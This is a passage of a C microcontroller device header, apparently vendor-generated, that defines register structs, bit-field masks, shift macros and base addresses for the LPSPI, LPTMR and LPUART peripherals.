#define LPSPI_CFGR1_PCSPOL(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_PCSPOL_SHIFT)) & LPSPI_CFGR1_PCSPOL_MASK)
#define LPSPI_CFGR1_MATCFG_MASK (0x70000U)
#define LPSPI_CFGR1_MATCFG_SHIFT (16U)
#define LPSPI_CFGR1_MATCFG(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_MATCFG_SHIFT)) & LPSPI_CFGR1_MATCFG_MASK)
#define LPSPI_CFGR1_PINCFG_MASK (0x3000000U)
#define LPSPI_CFGR1_PINCFG_SHIFT (24U)
#define LPSPI_CFGR1_PINCFG(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_PINCFG_SHIFT)) & LPSPI_CFGR1_PINCFG_MASK)
#define LPSPI_CFGR1_OUTCFG_MASK (0x4000000U)
#define LPSPI_CFGR1_OUTCFG_SHIFT (26U)
#define LPSPI_CFGR1_OUTCFG(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_OUTCFG_SHIFT)) & LPSPI_CFGR1_OUTCFG_MASK)
#define LPSPI_CFGR1_PCSCFG_MASK (0x8000000U)
#define LPSPI_CFGR1_PCSCFG_SHIFT (27U)
#define LPSPI_CFGR1_PCSCFG(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CFGR1_PCSCFG_SHIFT)) & LPSPI_CFGR1_PCSCFG_MASK)
/*! @name DMR0 - Data Match Register 0 */
#define LPSPI_DMR0_MATCH0_MASK (0xFFFFFFFFU)
#define LPSPI_DMR0_MATCH0_SHIFT (0U)
#define LPSPI_DMR0_MATCH0(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_DMR0_MATCH0_SHIFT)) & LPSPI_DMR0_MATCH0_MASK)
/*! @name DMR1 - Data Match Register 1 */
#define LPSPI_DMR1_MATCH1_MASK (0xFFFFFFFFU)
#define LPSPI_DMR1_MATCH1_SHIFT (0U)
#define LPSPI_DMR1_MATCH1(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_DMR1_MATCH1_SHIFT)) & LPSPI_DMR1_MATCH1_MASK)
/*! @name CCR - Clock Configuration Register */
#define LPSPI_CCR_SCKDIV_MASK (0xFFU)
#define LPSPI_CCR_SCKDIV_SHIFT (0U)
#define LPSPI_CCR_SCKDIV(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CCR_SCKDIV_SHIFT)) & LPSPI_CCR_SCKDIV_MASK)
#define LPSPI_CCR_DBT_MASK (0xFF00U)
#define LPSPI_CCR_DBT_SHIFT (8U)
#define LPSPI_CCR_DBT(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CCR_DBT_SHIFT)) & LPSPI_CCR_DBT_MASK)
#define LPSPI_CCR_PCSSCK_MASK (0xFF0000U)
#define LPSPI_CCR_PCSSCK_SHIFT (16U)
#define LPSPI_CCR_PCSSCK(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CCR_PCSSCK_SHIFT)) & LPSPI_CCR_PCSSCK_MASK)
#define LPSPI_CCR_SCKPCS_MASK (0xFF000000U)
#define LPSPI_CCR_SCKPCS_SHIFT (24U)
#define LPSPI_CCR_SCKPCS(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_CCR_SCKPCS_SHIFT)) & LPSPI_CCR_SCKPCS_MASK)
/*! @name FCR - FIFO Control Register */
#define LPSPI_FCR_TXWATER_MASK (0xFFU)
#define LPSPI_FCR_TXWATER_SHIFT (0U)
#define LPSPI_FCR_TXWATER(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_FCR_TXWATER_SHIFT)) & LPSPI_FCR_TXWATER_MASK)
#define LPSPI_FCR_RXWATER_MASK (0xFF0000U)
#define LPSPI_FCR_RXWATER_SHIFT (16U)
#define LPSPI_FCR_RXWATER(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_FCR_RXWATER_SHIFT)) & LPSPI_FCR_RXWATER_MASK)
/*! @name FSR - FIFO Status Register */
#define LPSPI_FSR_TXCOUNT_MASK (0xFFU)
#define LPSPI_FSR_TXCOUNT_SHIFT (0U)
#define LPSPI_FSR_TXCOUNT(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_FSR_TXCOUNT_SHIFT)) & LPSPI_FSR_TXCOUNT_MASK)
#define LPSPI_FSR_RXCOUNT_MASK (0xFF0000U)
#define LPSPI_FSR_RXCOUNT_SHIFT (16U)
#define LPSPI_FSR_RXCOUNT(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_FSR_RXCOUNT_SHIFT)) & LPSPI_FSR_RXCOUNT_MASK)
/*! @name TCR - Transmit Command Register */
#define LPSPI_TCR_FRAMESZ_MASK (0xFFFU)
#define LPSPI_TCR_FRAMESZ_SHIFT (0U)
#define LPSPI_TCR_FRAMESZ(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_FRAMESZ_SHIFT)) & LPSPI_TCR_FRAMESZ_MASK)
#define LPSPI_TCR_WIDTH_MASK (0x30000U)
#define LPSPI_TCR_WIDTH_SHIFT (16U)
#define LPSPI_TCR_WIDTH(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_WIDTH_SHIFT)) & LPSPI_TCR_WIDTH_MASK)
#define LPSPI_TCR_TXMSK_MASK (0x40000U)
#define LPSPI_TCR_TXMSK_SHIFT (18U)
#define LPSPI_TCR_TXMSK(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_TXMSK_SHIFT)) & LPSPI_TCR_TXMSK_MASK)
#define LPSPI_TCR_RXMSK_MASK (0x80000U)
#define LPSPI_TCR_RXMSK_SHIFT (19U)
#define LPSPI_TCR_RXMSK(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_RXMSK_SHIFT)) & LPSPI_TCR_RXMSK_MASK)
#define LPSPI_TCR_CONTC_MASK (0x100000U)
#define LPSPI_TCR_CONTC_SHIFT (20U)
#define LPSPI_TCR_CONTC(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_CONTC_SHIFT)) & LPSPI_TCR_CONTC_MASK)
#define LPSPI_TCR_CONT_MASK (0x200000U)
#define LPSPI_TCR_CONT_SHIFT (21U)
#define LPSPI_TCR_CONT(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_CONT_SHIFT)) & LPSPI_TCR_CONT_MASK)
#define LPSPI_TCR_BYSW_MASK (0x400000U)
#define LPSPI_TCR_BYSW_SHIFT (22U)
#define LPSPI_TCR_BYSW(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_BYSW_SHIFT)) & LPSPI_TCR_BYSW_MASK)
#define LPSPI_TCR_LSBF_MASK (0x800000U)
#define LPSPI_TCR_LSBF_SHIFT (23U)
#define LPSPI_TCR_LSBF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_LSBF_SHIFT)) & LPSPI_TCR_LSBF_MASK)
#define LPSPI_TCR_PCS_MASK (0x3000000U)
#define LPSPI_TCR_PCS_SHIFT (24U)
#define LPSPI_TCR_PCS(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_PCS_SHIFT)) & LPSPI_TCR_PCS_MASK)
#define LPSPI_TCR_PRESCALE_MASK (0x38000000U)
#define LPSPI_TCR_PRESCALE_SHIFT (27U)
#define LPSPI_TCR_PRESCALE(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_PRESCALE_SHIFT)) & LPSPI_TCR_PRESCALE_MASK)
#define LPSPI_TCR_CPHA_MASK (0x40000000U)
#define LPSPI_TCR_CPHA_SHIFT (30U)
#define LPSPI_TCR_CPHA(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_CPHA_SHIFT)) & LPSPI_TCR_CPHA_MASK)
#define LPSPI_TCR_CPOL_MASK (0x80000000U)
#define LPSPI_TCR_CPOL_SHIFT (31U)
#define LPSPI_TCR_CPOL(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TCR_CPOL_SHIFT)) & LPSPI_TCR_CPOL_MASK)
/*! @name TDR - Transmit Data Register */
#define LPSPI_TDR_DATA_MASK (0xFFFFFFFFU)
#define LPSPI_TDR_DATA_SHIFT (0U)
#define LPSPI_TDR_DATA(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_TDR_DATA_SHIFT)) & LPSPI_TDR_DATA_MASK)
/*! @name RSR - Receive Status Register */
#define LPSPI_RSR_SOF_MASK (0x1U)
#define LPSPI_RSR_SOF_SHIFT (0U)
#define LPSPI_RSR_SOF(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_RSR_SOF_SHIFT)) & LPSPI_RSR_SOF_MASK)
#define LPSPI_RSR_RXEMPTY_MASK (0x2U)
#define LPSPI_RSR_RXEMPTY_SHIFT (1U)
#define LPSPI_RSR_RXEMPTY(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_RSR_RXEMPTY_SHIFT)) & LPSPI_RSR_RXEMPTY_MASK)
/*! @name RDR - Receive Data Register */
#define LPSPI_RDR_DATA_MASK (0xFFFFFFFFU)
#define LPSPI_RDR_DATA_SHIFT (0U)
#define LPSPI_RDR_DATA(x) (((uint32_t)(((uint32_t)(x)) << LPSPI_RDR_DATA_SHIFT)) & LPSPI_RDR_DATA_MASK)
/*!
* @}
*/ /* end of group LPSPI_Register_Masks */
/* LPSPI - Peripheral instance base addresses */
/** Peripheral LPSPI0 base address */
#define LPSPI0_BASE (0x400BC000u)
/** Peripheral LPSPI0 base pointer */
#define LPSPI0 ((LPSPI_Type *)LPSPI0_BASE)
/** Peripheral LPSPI1 base address */
#define LPSPI1_BASE (0x400BD000u)
/** Peripheral LPSPI1 base pointer */
#define LPSPI1 ((LPSPI_Type *)LPSPI1_BASE)
/** Peripheral LPSPI2 base address */
#define LPSPI2_BASE (0x4003E000u)
/** Peripheral LPSPI2 base pointer */
#define LPSPI2 ((LPSPI_Type *)LPSPI2_BASE)
/** Array initializer of LPSPI peripheral base addresses */
#define LPSPI_BASE_ADDRS { LPSPI0_BASE, LPSPI1_BASE, LPSPI2_BASE }
/** Array initializer of LPSPI peripheral base pointers */
#define LPSPI_BASE_PTRS { LPSPI0, LPSPI1, LPSPI2 }
/** Interrupt vectors for the LPSPI peripheral type */
#define LPSPI_IRQS { LPSPI0_IRQn, LPSPI1_IRQn, LPSPI2_IRQn }
/*!
* @}
*/ /* end of group LPSPI_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- LPTMR Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPTMR_Peripheral_Access_Layer LPTMR Peripheral Access Layer
* @{
*/
/** LPTMR - Register Layout Typedef */
typedef struct {
__IO uint32_t CSR; /**< Low Power Timer Control Status Register, offset: 0x0 */
__IO uint32_t PSR; /**< Low Power Timer Prescale Register, offset: 0x4 */
__IO uint32_t CMR; /**< Low Power Timer Compare Register, offset: 0x8 */
__IO uint32_t CNR; /**< Low Power Timer Counter Register, offset: 0xC */
} LPTMR_Type;
/* ----------------------------------------------------------------------------
-- LPTMR Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPTMR_Register_Masks LPTMR Register Masks
* @{
*/
/*! @name CSR - Low Power Timer Control Status Register */
#define LPTMR_CSR_TEN_MASK (0x1U)
#define LPTMR_CSR_TEN_SHIFT (0U)
#define LPTMR_CSR_TEN(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TEN_SHIFT)) & LPTMR_CSR_TEN_MASK)
#define LPTMR_CSR_TMS_MASK (0x2U)
#define LPTMR_CSR_TMS_SHIFT (1U)
#define LPTMR_CSR_TMS(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TMS_SHIFT)) & LPTMR_CSR_TMS_MASK)
#define LPTMR_CSR_TFC_MASK (0x4U)
#define LPTMR_CSR_TFC_SHIFT (2U)
#define LPTMR_CSR_TFC(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TFC_SHIFT)) & LPTMR_CSR_TFC_MASK)
#define LPTMR_CSR_TPP_MASK (0x8U)
#define LPTMR_CSR_TPP_SHIFT (3U)
#define LPTMR_CSR_TPP(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TPP_SHIFT)) & LPTMR_CSR_TPP_MASK)
#define LPTMR_CSR_TPS_MASK (0x30U)
#define LPTMR_CSR_TPS_SHIFT (4U)
#define LPTMR_CSR_TPS(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TPS_SHIFT)) & LPTMR_CSR_TPS_MASK)
#define LPTMR_CSR_TIE_MASK (0x40U)
#define LPTMR_CSR_TIE_SHIFT (6U)
#define LPTMR_CSR_TIE(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TIE_SHIFT)) & LPTMR_CSR_TIE_MASK)
#define LPTMR_CSR_TCF_MASK (0x80U)
#define LPTMR_CSR_TCF_SHIFT (7U)
#define LPTMR_CSR_TCF(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TCF_SHIFT)) & LPTMR_CSR_TCF_MASK)
#define LPTMR_CSR_TDRE_MASK (0x100U)
#define LPTMR_CSR_TDRE_SHIFT (8U)
#define LPTMR_CSR_TDRE(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CSR_TDRE_SHIFT)) & LPTMR_CSR_TDRE_MASK)
/*! @name PSR - Low Power Timer Prescale Register */
#define LPTMR_PSR_PCS_MASK (0x3U)
#define LPTMR_PSR_PCS_SHIFT (0U)
#define LPTMR_PSR_PCS(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_PSR_PCS_SHIFT)) & LPTMR_PSR_PCS_MASK)
#define LPTMR_PSR_PBYP_MASK (0x4U)
#define LPTMR_PSR_PBYP_SHIFT (2U)
#define LPTMR_PSR_PBYP(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_PSR_PBYP_SHIFT)) & LPTMR_PSR_PBYP_MASK)
#define LPTMR_PSR_PRESCALE_MASK (0x78U)
#define LPTMR_PSR_PRESCALE_SHIFT (3U)
#define LPTMR_PSR_PRESCALE(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_PSR_PRESCALE_SHIFT)) & LPTMR_PSR_PRESCALE_MASK)
/*! @name CMR - Low Power Timer Compare Register */
#define LPTMR_CMR_COMPARE_MASK (0xFFFFU)
#define LPTMR_CMR_COMPARE_SHIFT (0U)
#define LPTMR_CMR_COMPARE(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CMR_COMPARE_SHIFT)) & LPTMR_CMR_COMPARE_MASK)
/*! @name CNR - Low Power Timer Counter Register */
#define LPTMR_CNR_COUNTER_MASK (0xFFFFU)
#define LPTMR_CNR_COUNTER_SHIFT (0U)
#define LPTMR_CNR_COUNTER(x) (((uint32_t)(((uint32_t)(x)) << LPTMR_CNR_COUNTER_SHIFT)) & LPTMR_CNR_COUNTER_MASK)
/*!
* @}
*/ /* end of group LPTMR_Register_Masks */
/* LPTMR - Peripheral instance base addresses */
/** Peripheral LPTMR0 base address */
#define LPTMR0_BASE (0x40034000u)
/** Peripheral LPTMR0 base pointer */
#define LPTMR0 ((LPTMR_Type *)LPTMR0_BASE)
/** Peripheral LPTMR1 base address */
#define LPTMR1_BASE (0x400B5000u)
/** Peripheral LPTMR1 base pointer */
#define LPTMR1 ((LPTMR_Type *)LPTMR1_BASE)
/** Array initializer of LPTMR peripheral base addresses */
#define LPTMR_BASE_ADDRS { LPTMR0_BASE, LPTMR1_BASE }
/** Array initializer of LPTMR peripheral base pointers */
#define LPTMR_BASE_PTRS { LPTMR0, LPTMR1 }
/** Interrupt vectors for the LPTMR peripheral type */
#define LPTMR_IRQS { LPTMR0_IRQn, LPTMR1_IRQn }
/*!
* @}
*/ /* end of group LPTMR_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- LPUART Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPUART_Peripheral_Access_Layer LPUART Peripheral Access Layer
* @{
*/
/** LPUART - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
__IO uint32_t GLOBAL; /**< LPUART Global Register, offset: 0x8 */
__IO uint32_t PINCFG; /**< LPUART Pin Configuration Register, offset: 0xC */
__IO uint32_t BAUD; /**< LPUART Baud Rate Register, offset: 0x10 */
__IO uint32_t STAT; /**< LPUART Status Register, offset: 0x14 */
__IO uint32_t CTRL; /**< LPUART Control Register, offset: 0x18 */
__IO uint32_t DATA; /**< LPUART Data Register, offset: 0x1C */
__IO uint32_t MATCH; /**< LPUART Match Address Register, offset: 0x20 */
__IO uint32_t MODIR; /**< LPUART Modem IrDA Register, offset: 0x24 */
__IO uint32_t FIFO; /**< LPUART FIFO Register, offset: 0x28 */
__IO uint32_t WATER; /**< LPUART Watermark Register, offset: 0x2C */
} LPUART_Type;
/* ----------------------------------------------------------------------------
-- LPUART Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup LPUART_Register_Masks LPUART Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define LPUART_VERID_FEATURE_MASK (0xFFFFU)
#define LPUART_VERID_FEATURE_SHIFT (0U)
#define LPUART_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_VERID_FEATURE_SHIFT)) & LPUART_VERID_FEATURE_MASK)
#define LPUART_VERID_MINOR_MASK (0xFF0000U)
#define LPUART_VERID_MINOR_SHIFT (16U)
#define LPUART_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << LPUART_VERID_MINOR_SHIFT)) & LPUART_VERID_MINOR_MASK)
#define LPUART_VERID_MAJOR_MASK (0xFF000000U)
#define LPUART_VERID_MAJOR_SHIFT (24U)
#define LPUART_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << LPUART_VERID_MAJOR_SHIFT)) & LPUART_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define LPUART_PARAM_TXFIFO_MASK (0xFFU)
#define LPUART_PARAM_TXFIFO_SHIFT (0U)
#define LPUART_PARAM_TXFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPUART_PARAM_TXFIFO_SHIFT)) & LPUART_PARAM_TXFIFO_MASK)
#define LPUART_PARAM_RXFIFO_MASK (0xFF00U)
#define LPUART_PARAM_RXFIFO_SHIFT (8U)
#define LPUART_PARAM_RXFIFO(x) (((uint32_t)(((uint32_t)(x)) << LPUART_PARAM_RXFIFO_SHIFT)) & LPUART_PARAM_RXFIFO_MASK)
/*! @name GLOBAL - LPUART Global Register */
#define LPUART_GLOBAL_RST_MASK (0x2U)
#define LPUART_GLOBAL_RST_SHIFT (1U)
#define LPUART_GLOBAL_RST(x) (((uint32_t)(((uint32_t)(x)) << LPUART_GLOBAL_RST_SHIFT)) & LPUART_GLOBAL_RST_MASK)
/*! @name PINCFG - LPUART Pin Configuration Register */
#define LPUART_PINCFG_TRGSEL_MASK (0x3U)
#define LPUART_PINCFG_TRGSEL_SHIFT (0U)
#define LPUART_PINCFG_TRGSEL(x) (((uint32_t)(((uint32_t)(x)) << LPUART_PINCFG_TRGSEL_SHIFT)) & LPUART_PINCFG_TRGSEL_MASK)
/*! @name BAUD - LPUART Baud Rate Register */
#define LPUART_BAUD_SBR_MASK (0x1FFFU)
#define LPUART_BAUD_SBR_SHIFT (0U)
#define LPUART_BAUD_SBR(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_SBR_SHIFT)) & LPUART_BAUD_SBR_MASK)
#define LPUART_BAUD_SBNS_MASK (0x2000U)
#define LPUART_BAUD_SBNS_SHIFT (13U)
#define LPUART_BAUD_SBNS(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_SBNS_SHIFT)) & LPUART_BAUD_SBNS_MASK)
#define LPUART_BAUD_RXEDGIE_MASK (0x4000U)
#define LPUART_BAUD_RXEDGIE_SHIFT (14U)
#define LPUART_BAUD_RXEDGIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_RXEDGIE_SHIFT)) & LPUART_BAUD_RXEDGIE_MASK)
#define LPUART_BAUD_LBKDIE_MASK (0x8000U)
#define LPUART_BAUD_LBKDIE_SHIFT (15U)
#define LPUART_BAUD_LBKDIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_LBKDIE_SHIFT)) & LPUART_BAUD_LBKDIE_MASK)
#define LPUART_BAUD_RESYNCDIS_MASK (0x10000U)
#define LPUART_BAUD_RESYNCDIS_SHIFT (16U)
#define LPUART_BAUD_RESYNCDIS(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_RESYNCDIS_SHIFT)) & LPUART_BAUD_RESYNCDIS_MASK)
#define LPUART_BAUD_BOTHEDGE_MASK (0x20000U)
#define LPUART_BAUD_BOTHEDGE_SHIFT (17U)
#define LPUART_BAUD_BOTHEDGE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_BOTHEDGE_SHIFT)) & LPUART_BAUD_BOTHEDGE_MASK)
#define LPUART_BAUD_MATCFG_MASK (0xC0000U)
#define LPUART_BAUD_MATCFG_SHIFT (18U)
#define LPUART_BAUD_MATCFG(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_MATCFG_SHIFT)) & LPUART_BAUD_MATCFG_MASK)
#define LPUART_BAUD_RDMAE_MASK (0x200000U)
#define LPUART_BAUD_RDMAE_SHIFT (21U)
#define LPUART_BAUD_RDMAE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_RDMAE_SHIFT)) & LPUART_BAUD_RDMAE_MASK)
#define LPUART_BAUD_TDMAE_MASK (0x800000U)
#define LPUART_BAUD_TDMAE_SHIFT (23U)
#define LPUART_BAUD_TDMAE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_TDMAE_SHIFT)) & LPUART_BAUD_TDMAE_MASK)
#define LPUART_BAUD_OSR_MASK (0x1F000000U)
#define LPUART_BAUD_OSR_SHIFT (24U)
#define LPUART_BAUD_OSR(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_OSR_SHIFT)) & LPUART_BAUD_OSR_MASK)
#define LPUART_BAUD_M10_MASK (0x20000000U)
#define LPUART_BAUD_M10_SHIFT (29U)
#define LPUART_BAUD_M10(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_M10_SHIFT)) & LPUART_BAUD_M10_MASK)
#define LPUART_BAUD_MAEN2_MASK (0x40000000U)
#define LPUART_BAUD_MAEN2_SHIFT (30U)
#define LPUART_BAUD_MAEN2(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_MAEN2_SHIFT)) & LPUART_BAUD_MAEN2_MASK)
#define LPUART_BAUD_MAEN1_MASK (0x80000000U)
#define LPUART_BAUD_MAEN1_SHIFT (31U)
#define LPUART_BAUD_MAEN1(x) (((uint32_t)(((uint32_t)(x)) << LPUART_BAUD_MAEN1_SHIFT)) & LPUART_BAUD_MAEN1_MASK)
/*! @name STAT - LPUART Status Register */
#define LPUART_STAT_MA2F_MASK (0x4000U)
#define LPUART_STAT_MA2F_SHIFT (14U)
#define LPUART_STAT_MA2F(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_MA2F_SHIFT)) & LPUART_STAT_MA2F_MASK)
#define LPUART_STAT_MA1F_MASK (0x8000U)
#define LPUART_STAT_MA1F_SHIFT (15U)
#define LPUART_STAT_MA1F(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_MA1F_SHIFT)) & LPUART_STAT_MA1F_MASK)
#define LPUART_STAT_PF_MASK (0x10000U)
#define LPUART_STAT_PF_SHIFT (16U)
#define LPUART_STAT_PF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_PF_SHIFT)) & LPUART_STAT_PF_MASK)
#define LPUART_STAT_FE_MASK (0x20000U)
#define LPUART_STAT_FE_SHIFT (17U)
#define LPUART_STAT_FE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_FE_SHIFT)) & LPUART_STAT_FE_MASK)
#define LPUART_STAT_NF_MASK (0x40000U)
#define LPUART_STAT_NF_SHIFT (18U)
#define LPUART_STAT_NF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_NF_SHIFT)) & LPUART_STAT_NF_MASK)
#define LPUART_STAT_OR_MASK (0x80000U)
#define LPUART_STAT_OR_SHIFT (19U)
#define LPUART_STAT_OR(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_OR_SHIFT)) & LPUART_STAT_OR_MASK)
#define LPUART_STAT_IDLE_MASK (0x100000U)
#define LPUART_STAT_IDLE_SHIFT (20U)
#define LPUART_STAT_IDLE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_IDLE_SHIFT)) & LPUART_STAT_IDLE_MASK)
#define LPUART_STAT_RDRF_MASK (0x200000U)
#define LPUART_STAT_RDRF_SHIFT (21U)
#define LPUART_STAT_RDRF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_RDRF_SHIFT)) & LPUART_STAT_RDRF_MASK)
#define LPUART_STAT_TC_MASK (0x400000U)
#define LPUART_STAT_TC_SHIFT (22U)
#define LPUART_STAT_TC(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_TC_SHIFT)) & LPUART_STAT_TC_MASK)
#define LPUART_STAT_TDRE_MASK (0x800000U)
#define LPUART_STAT_TDRE_SHIFT (23U)
#define LPUART_STAT_TDRE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_TDRE_SHIFT)) & LPUART_STAT_TDRE_MASK)
#define LPUART_STAT_RAF_MASK (0x1000000U)
#define LPUART_STAT_RAF_SHIFT (24U)
#define LPUART_STAT_RAF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_RAF_SHIFT)) & LPUART_STAT_RAF_MASK)
#define LPUART_STAT_LBKDE_MASK (0x2000000U)
#define LPUART_STAT_LBKDE_SHIFT (25U)
#define LPUART_STAT_LBKDE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_LBKDE_SHIFT)) & LPUART_STAT_LBKDE_MASK)
#define LPUART_STAT_BRK13_MASK (0x4000000U)
#define LPUART_STAT_BRK13_SHIFT (26U)
#define LPUART_STAT_BRK13(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_BRK13_SHIFT)) & LPUART_STAT_BRK13_MASK)
#define LPUART_STAT_RWUID_MASK (0x8000000U)
#define LPUART_STAT_RWUID_SHIFT (27U)
#define LPUART_STAT_RWUID(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_RWUID_SHIFT)) & LPUART_STAT_RWUID_MASK)
#define LPUART_STAT_RXINV_MASK (0x10000000U)
#define LPUART_STAT_RXINV_SHIFT (28U)
#define LPUART_STAT_RXINV(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_RXINV_SHIFT)) & LPUART_STAT_RXINV_MASK)
#define LPUART_STAT_MSBF_MASK (0x20000000U)
#define LPUART_STAT_MSBF_SHIFT (29U)
#define LPUART_STAT_MSBF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_MSBF_SHIFT)) & LPUART_STAT_MSBF_MASK)
#define LPUART_STAT_RXEDGIF_MASK (0x40000000U)
#define LPUART_STAT_RXEDGIF_SHIFT (30U)
#define LPUART_STAT_RXEDGIF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_RXEDGIF_SHIFT)) & LPUART_STAT_RXEDGIF_MASK)
#define LPUART_STAT_LBKDIF_MASK (0x80000000U)
#define LPUART_STAT_LBKDIF_SHIFT (31U)
#define LPUART_STAT_LBKDIF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_STAT_LBKDIF_SHIFT)) & LPUART_STAT_LBKDIF_MASK)
/*! @name CTRL - LPUART Control Register */
#define LPUART_CTRL_PT_MASK (0x1U)
#define LPUART_CTRL_PT_SHIFT (0U)
#define LPUART_CTRL_PT(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_PT_SHIFT)) & LPUART_CTRL_PT_MASK)
#define LPUART_CTRL_PE_MASK (0x2U)
#define LPUART_CTRL_PE_SHIFT (1U)
#define LPUART_CTRL_PE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_PE_SHIFT)) & LPUART_CTRL_PE_MASK)
#define LPUART_CTRL_ILT_MASK (0x4U)
#define LPUART_CTRL_ILT_SHIFT (2U)
#define LPUART_CTRL_ILT(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_ILT_SHIFT)) & LPUART_CTRL_ILT_MASK)
#define LPUART_CTRL_WAKE_MASK (0x8U)
#define LPUART_CTRL_WAKE_SHIFT (3U)
#define LPUART_CTRL_WAKE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_WAKE_SHIFT)) & LPUART_CTRL_WAKE_MASK)
#define LPUART_CTRL_M_MASK (0x10U)
#define LPUART_CTRL_M_SHIFT (4U)
#define LPUART_CTRL_M(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_M_SHIFT)) & LPUART_CTRL_M_MASK)
#define LPUART_CTRL_RSRC_MASK (0x20U)
#define LPUART_CTRL_RSRC_SHIFT (5U)
#define LPUART_CTRL_RSRC(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_RSRC_SHIFT)) & LPUART_CTRL_RSRC_MASK)
#define LPUART_CTRL_DOZEEN_MASK (0x40U)
#define LPUART_CTRL_DOZEEN_SHIFT (6U)
#define LPUART_CTRL_DOZEEN(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_DOZEEN_SHIFT)) & LPUART_CTRL_DOZEEN_MASK)
#define LPUART_CTRL_LOOPS_MASK (0x80U)
#define LPUART_CTRL_LOOPS_SHIFT (7U)
